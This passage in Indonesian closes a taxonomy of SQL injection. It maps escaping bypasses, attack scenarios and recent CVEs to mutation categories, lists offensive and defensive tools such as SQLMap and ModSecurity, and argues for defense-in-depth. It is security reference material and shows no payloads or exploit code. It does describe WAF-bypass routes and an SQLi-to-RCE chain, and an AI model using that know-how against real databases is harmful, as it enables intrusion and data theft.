NO_BACKSLASH_ESCAPESPerilaku escape berubah dengan SQL mode MySQLEscaping backslash tidak valid dalam mode NO_BACKSLASH_ESCAPES
Ketidakcocokan CharsetKetidakcocokan charset client/server melewati escapingSerangan multibyte setelah SET NAMES 'gbk'
PDO Prepared Statement Null BytePrepared statement yang diemulasikan PDO salah mem-parse null byte (\0) di batas urutan escape, menyebabkan penggantian placeholder desinkronisasi dan menginjeksi fragmen SQL yang dikontrol penyerang ke dalam queryMemerlukan PDO::ATTR_EMULATE_PREPARES = true (default dalam beberapa konfigurasi); null byte dalam nilai parameter memisahkan konteks escape

Pemetaan Skenario Serangan (Sumbu 3)

SkenarioKondisi ArsitekturKategori Mutasi Utama
Authentication BypassManipulasi clause WHERE form login§1-1 + §2-3 + §6-2
Eksfiltrasi Data MassalOutput hasil SELECT tersedia§1-2 + §3 + §5-4
Ekstraksi Data BlindLingkungan tanpa output§5-1 + §5-2 + §5-3
Remote Code ExecutionHak akses DB tinggi, file write tersedia§1-3 + §3-1/§3-2/§3-3
Bypass Lingkungan WAFWAF komersial terpasang§2 + §7-1 + §7-2 + §7-3
Bypass Prepared StatementQuery terparameterisasi digunakan§8-1 + §8-2 + §8-3
Serangan Second-OrderArsitektur simpan-lalu-referensikan§6-1 + §1-1
Serangan Lingkungan CloudManaged DB + kombinasi WAF§7-2 + §4-3 + §8-2

Pemetaan CVE / Bug Bounty (2023–2025)

Kombinasi MutasiCVE / KasusDampak / Bounty
§8-1 (Protocol Smuggling)CVE-2024-27304 (driver pgx PostgreSQL)Eksekusi SQL arbitrer di lingkungan Prepared Statement. Auth bypass, eksfiltrasi data, RCE
§8-3 (Celah Escape UTF-8)CVE-2025-1094 (PostgreSQL libpq)CVSS 8.1. SQL injection memungkinkan bahkan dengan input yang di-escape. Dirantai dengan BeyondTrust CVE-2024-12356
§8-1 (Kerentanan Driver)CVE-2024-1597 (driver JDBC PostgreSQL)SQL injection saat preferQueryMode=simple. CVSS 9.8
§3-1 + §1-3 (MySQL RCE)CVE-2025-25257 (Fortinet FortiWeb)CVSS 9.6. SQLi tanpa auth → SELECT INTO OUTFILE → Python RCE. PoC dipublikasikan
§1-2 + §6-2 (UNION + INSERT)CVE-2024-36412 (SuiteCRM)Akses DB penuh tanpa autentikasi. Rating kritis
§1-3 (Stacked Queries)CVE-2024-45387 (Apache Traffic Control)CVSS 9.9. Eksekusi SQL arbitrer oleh pengguna berprevilese melalui request PUT
§7-2 (Bypass WAF SQL JSON)Penelitian Claroty Team82 (2022)Melewati WAF Palo Alto, AWS, Cloudflare, F5, Imperva
§8-2 (ORM Comment Injection)CVE-2023-22794 (Rails ActiveRecord)Escape komentar SQL melalui annotate()
§8-2 (ORM Injection)CVE-2024-42005 (Django)Kerentanan SQL injection Django ORM
§8-3 (Serangan Encoding GBK)CVE-2006-2753 (MySQL)addslashes() + bypass escape encoding multibyte GBK (historis tetapi pola berulang)
§3-1 (Full-Text Search Oracle)Penelitian ReDisclosure (2025)Parsing boolean full-text MySQL disalahgunakan untuk mengubah endpoint berbasis redirect menjadi oracle inferensi blind; ekstraksi data baru melalui MATCH ... AGAINST
§8-3 (PDO Null Byte)Penelitian slcyber.io (2025)SQL injection melalui kesalahan parsing null byte pada prepared statement PDO; melewati perlindungan query terparameterisasi dalam mode emulated prepare

Alat Deteksi

Alat Ofensif

AlatCakupan TargetTeknik Inti
SQLMapSemua DBMS utama. Deteksi/ekstraksi/RCE otomatisBoolean/Time/Error/Union/Stacked — semua teknik + 60+ tamper script
GhauriAlternatif SQLMap lintas platformPergantian teknik otomatis, emulasi browser, bypass canggih
jSQL InjectionPengujian SQLi berbasis GUIAntarmuka visual, berbagai strategi injection, Java 11-17
SQLMutantMutasi payload khususPencocokan pola, analisis error, kombinasi timing attack
HavijAlat SQLi otomatis (Windows)Berbasis GUI, fingerprinting DB otomatis, ekstraksi data
NoSQLMapKhusus NoSQL injectionMenargetkan MongoDB, CouchDB
BlisqySQLi Blind berbasis header HTTPSQLi blind berbasis waktu melalui header HTTP

Alat Defensif

AlatCakupan TargetTeknik Inti
ModSecurity + CRSWAF open-sourcePencocokan signature OWASP Core Rule Set
libinjectionLibrary analisis token SQLDeteksi injection melalui tokenisasi SQL (analisis sintaks, bukan signature)
sqlc / Alat SASTAnalisis statisMendeteksi konstruksi SQL tidak aman dalam kode sumber
Snyk / DependabotKeamanan dependensiPemantauan CVE kerentanan ORM/driver

Alat Riset

AlatCakupan TargetTeknik Inti
SQLMap Tamper ScriptsRiset bypass WAF60+ script encoding/obfuscation (randomcase, space2comment, charunicodeencode, dll.)
SqliGPTDeteksi SQLi berbasis LLMDeteksi SQLi black-box melalui large language model (riset akademik)
Burp Suite + HackvertorPengujian SQLi manualTransformasi encoding real-time, intercept proxy

Ringkasan: Prinsip Inti

Akar Masalah: Percampuran Kode-Data

Alasan fundamental SQL Injection bertahan lebih dari dua dekade adalah bahwa desain SQL mencampur kode (perintah) dan data (nilai) dalam saluran yang sama. Ketika input pengguna digabungkan ke dalam string SQL, parser tidak dapat membedakan apakah itu data atau perintah. Percampuran fundamental ini meluas di luar sintaks SQL berbasis teks ke wire protocol biner (§8-1), abstraksi ORM (§8-2), dan fungsi escape (§8-3).

Mengapa Patch Bertahap Gagal

Setiap lapisan pertahanan hanya memblokir kategori mutasi tertentu sementara membiarkan yang lain terekspos:

  • Prepared Statement: Memblokir sebagian besar §1–§6, tetapi tidak dapat mempertahankan dari §8-1 (protocol smuggling), §8-2 (ORM unsafe API), §6-2 (identifier dinamis)
  • WAF: Memblokir pola yang dikenal dalam §1, tetapi terus-menerus dilewati oleh §2 (mutasi encoding), §7-2 (SQL JSON), §7-3 (pengelakan level HTTP)
  • ORM: API default aman, tetapi raw query, extra(), dan metode tidak aman ada, memberikan pengembang rasa aman yang palsu
  • Validasi Input: Daftar blokir dilewati oleh §2 (encoding); daftar izin sulit diterapkan di semua jalur input (§4)

Arah Solusi Struktural

Solusi fundamental adalah menegakkan pemisahan kode-data di setiap lapisan:

  1. Lapisan Query: Default ke Prepared Statement / query terparameterisasi; terapkan daftar izin untuk identifier dinamis
  2. Lapisan Protokol: Perkuat verifikasi integritas pesan protokol biner (cegah overflow field panjang)
  3. Lapisan Framework: Hapus atau wajibkan opt-in eksplisit untuk ORM unsafe API
  4. Lapisan Operasional: Prinsip least privilege (batasi izin user DB, nonaktifkan akses file), tekan pesan error
  5. Lapisan Monitoring: Defense-in-depth yang menggabungkan WAF + runtime RASP + deteksi berbasis perilaku

Tidak ada satu langkah pertahanan yang dapat mencakup seluruh ruang mutasi SQL Injection — hanya Defense-in-depth yang merupakan solusi realistis.


Dokumen ini dibuat untuk tujuan riset keamanan defensif dan pemahaman kerentanan.


Referensi

Sumber Dasar

#JudulURL
[1]SQL Injection | OWASP Foundationhttps://owasp.org/www-community/attacks/SQL_Injection
[2]What is SQL Injection? Tutorial & Examples | PortSwigger Web Security Academyhttps://portswigger.net/web-security/sql-injection

CVE / Saran Kerentanan

#CVEJudulURL
[3]CVE-2024-27304Driver PostgreSQL pgx — Overflow Ukuran Pesan Protokolhttps://nvd.nist.gov/vuln/detail/CVE-2024-27304
[4]CVE-2025-1094Celah Validasi UTF-8 API Quoting libpq PostgreSQLhttps://www.postgresql.org/support/security/CVE-2025-1094/
[5]CVE-2024-1597SQL Injection Driver JDBC PostgreSQL (PreferQueryMode=SIMPLE)https://www.postgresql.org/about/news/postgresql-jdbc-4272-4261-4255-4244-4239-42228-and-42228jre7-security-update-for-cve-2024-1597-2812/
[6]CVE-2025-25257SQLi Pre-Auth ke RCE Fortinet FortiWebhttps://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/
[7]CVE-2024-36412SQL Injection Tanpa Autentikasi SuiteCRMhttps://nvd.nist.gov/vuln/detail/CVE-2024-36412
[8]CVE-2024-45387SQL Injection Apache Traffic Control via Request PUThttps://nvd.nist.gov/vuln/detail/cve-2024-45387
[9]CVE-2023-22794SQL Injection Rails ActiveRecord via Komentarhttps://discuss.rubyonrails.org/t/cve-2023-22794-sql-injection-vulnerability-via-activerecord-comments/82117
[10]CVE-2024-42005SQL Injection ORM Django via Kunci JSONFieldhttps://nvd.nist.gov/vuln/detail/cve-2024-42005
[11]CVE-2006-2753Bypass Escape Encoding Multibyte MySQL (GBK)https://nvd.nist.gov/vuln/detail/CVE-2006-2753
[12]CVE-2024-12356Command Injection BeyondTrust PRA/RS (dirantai dengan CVE-2025-1094)https://www.rapid7.com/db/vulnerabilities/beyondtrust-pra-cve-2024-12356-remote/

Riset & Presentasi Konferensi

#JudulPenulis/SumberURL
[13]SQL Injection Isn’t Dead: Smuggling Queries at the Protocol LevelPaul Gerste, DEF CON 32 (2024)https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Paul%20Gerste%20-%20SQL%20Injection%20Isn’t%20Dead%20Smuggling%20Queries%20at%20the%20Protocol%20Level.pdf
[14]{JS-ON: Security-OFF}: Abusing JSON-Based SQL to Bypass WAFClaroty Team82 (2022)https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf

Alat Ofensif

#AlatRepositori
[15]SQLMap — Alat Otomatis SQL Injection dan Database Takeoverhttps://github.com/sqlmapproject/sqlmap
[16]Ghauri — Deteksi dan Eksploitasi SQL Injection Tingkat Lanjuthttps://github.com/r0oth3x49/ghauri
[17]jSQL Injection — Alat SQL Injection Otomatis Berbasis Javahttps://github.com/ron190/jsql-injection
[18]NoSQLMap — Injection dan Eksploitasi NoSQL Otomatishttps://github.com/codingo/NoSQLMap
[19]Blisqy — SQL Injection Blind Berbasis Waktu via Header HTTPhttps://github.com/JohnTroony/Blisqy

Alat Defensif

#AlatRepositori
[20]ModSecurity — Engine Web Application Firewall Open Sourcehttps://github.com/owasp-modsecurity/ModSecurity
[21]OWASP Core Rule Set (CRS) — Aturan Deteksi Serangan Generikhttps://github.com/coreruleset/coreruleset
[22]libinjection — Tokenizer Parser Analyzer SQL/SQLIhttps://github.com/libinjection/libinjection

Riset Tambahan

  • Doyensec: “Apache Pinot SQLi and RCE Cheat Sheet” (2022) — Rantai SQL injection dan remote code execution di engine query Apache Pinot